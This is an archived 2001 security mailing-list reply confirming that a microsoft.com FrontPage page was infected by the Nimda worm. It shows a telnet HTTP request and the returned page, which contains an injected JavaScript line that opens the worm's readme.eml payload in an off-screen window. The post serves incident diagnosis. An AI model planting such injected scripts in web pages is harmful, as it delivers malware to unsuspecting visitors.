Re: Please tell me I'm wrong: microsoft.com infected

From: Jay D. Dyson (jdysonat_private)
Date: Wed Sep 19 2001 - 15:02:43 PDT

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    On Wed, 19 Sep 2001, Steve Cody wrote: 
    
    > I just went to http://www.microsoft.com/frontpage, and my Symantec
    > Norton Antivirus popped up and denied access to readme.eml. 
    > 
    > I could not view the source of the loaded page, so I can't verify that
    > it is definitely infected. 
    
    	Your worst fears have now been confirmed.
    
    sasumata$ telnet www.microsoft.com 80
    Trying 207.46.197.100...
    Connected to www.microsoft.akadns.net.
    Escape character is '^]'.
    GET /frontpage/ HTTP/1.0
    
    <snip>
    
    <html><script language="JavaScript">window.open("readme.eml", null,
    "resizable=no,top=6000,left=6000")</script></html>
    
    	Microsoft's site has been compromised by Nimda.  There is no
    disputing it now.
    
    - -Jay
    
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